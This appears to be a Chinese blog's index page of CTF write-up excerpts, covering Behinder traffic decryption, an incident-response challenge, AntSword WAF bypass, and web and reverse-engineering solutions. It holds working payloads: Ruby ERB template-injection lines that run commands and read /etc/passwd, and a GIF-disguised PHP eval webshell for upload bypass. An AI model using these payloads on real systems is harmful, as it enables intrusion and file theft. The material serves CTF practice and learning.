各种脚本
冰蝎4,爆破1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadimport base64import hashlibdef decrypt_aes_ecb(ciphertext, key):    cipher = AES.new(key.encode(), AES.MODE_ECB)    decrypted_bytes = cipher.decrypt(base64.b64decode(ciphertext))    decrypted_text = unpad(decrypted_bytes, AES.block_size).decode('utf-8')    return decrypted_text def...
第一届帕鲁杯-CTF应急响应挑战赛部分wp
 赛题:https://pan.baidu.com/s/1NtC9RkO2MgG__oTffWYiRw?pwd=kc2y 赛题文件:应急响应模块说明手册.pdf 应急响应模块说明手册.pdf  应急响应-1题目要求:找到JumpServer堡垒机中flag标签的值。  提交格式:[堡垒机中flag标签的值] 登上jumpserver就可以了点控制台的更多选项里面有个标签值即可  应急响应-2题目要求:提交攻击者第一次登录时间。  提交格式:[2024/00/00/00:00:00]找到日志审计,查看登录日志,选一下时间,近一年的,  ip为192.168.20.123的时间  flag : [2024/04/11/14:21:18]  应急响应-3题目要求:提交攻击者源IP。  提交格式:[0.0.0.0] 因为后面test01的用户执行了jump...
antsword-bypasswaf
 antsword-php改造1.前置知识这里笔者不在讲解antsword的功能等等了,这里直接看一下蚁剑的核心文件。  123456789101112131415161718192021222324252627282930313233343536373839404142# $ tree -l 1 -d ./── base├── core│   ├── asp│   │   ├── decoder│   │   ├── encoder│   │   └── template│   │       └── database│   ├── aspx│   │   ├── decoder│   │   ├── encoder│   │   └── template│   │       └── database│   ├── custom│   │   ├── decoder│   │   ├── encoder│   │   └── template│   │       └── database│   ├── php│   │   ├── decoder│   │   ├──...
nssctfweb刷题记录
 [GDOUCTF 2023]泄露的伪装 orzorz.php 12345678910111213<?phperror_reporting(0);if(isset($_GET['cxk'])){    $cxk=$_GET['cxk'];    if(file_get_contents($cxk)=="ctrl"){        echo $flag;    }else{        echo "洗洗睡吧";    }}else{    echo "nononoononoonono";}?> nononoononoonono  http://node5.anna.nssctf.cn:28206/orzorz.php?cxk=data://text/plain,ctrl [NISACTF...
polarctfre刷题记录
shell32bit 有upx的壳,解一下  ida即可 shift+f12 加加减减 
my2023
...
HGAME-2024-WEEK-2-部分wp
WEBWhat the cow say?经过测试是ruby的ssti,默认的输入有给了尖括号了,而且我看网上的payload,都带= 123456789<%= system("whoami") %> #Execute code<%= Dir.entries('/') %> #List folder<%= File.open('/etc/passwd').read %> #Read file<%= system('cat /etc/passwd') %><%= `ls /` %><%= IO.popen('ls /').readlines()  %><% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%><% require...
BeginCTF部分wp
miscTupper下载到压缩包后,解压可以看到有许多txt文件,每个里面可能是base64,写个脚本提取出来(找gpt) 1234567891011121314151617181920import os# 指定目录路径directory = 'G:\\ctf\\tupper'# 指定输出文件路径output_file = 'D:\\vscodework\\ctf\\beginctf\\output.txt'# 获取目录下的所有文件名,并按数字排序file_names = [f for f in os.listdir(directory) if f.endswith('.txt')]file_names.sort(key=lambda x: int(x[:-4]))# 遍历文件名列表,并将内容写入输出文件中with open(output_file, 'w') as f:    for file_name in file_names:        file_path =...
HGAME-2024-WEEK-1-部分wp
 webreverseezIDA下载程序直接,记事本右键打开就可以了, ezASM1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162section .data    c db 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34    flag db 33 dup(0)    format db "plz input your flag: ", 0    success db "Congratulations!", 0    failure db "Sry, plz try again", 0section...
polarctfweb刷题记录2
webezupload文件上传,随便穿一个东西发现需要传gif,改一个 123Content-Type: image/gifGIF89A<?php eval($_POST['a']);?>  即可 自由的文件上传系统文件上传+文件包含随意传个文件,包含一下即可 代码审计1给了源码 1234567891011<?phphighlight_file(__FILE__);include('flag.php');$sys = $_GET['sys'];if (preg_match("|flag|", $xsx)) {           die("flag is no here!");} else {    $xsx = $_GET['xsx'];    echo new $sys($xsx);}  当我们看到new...




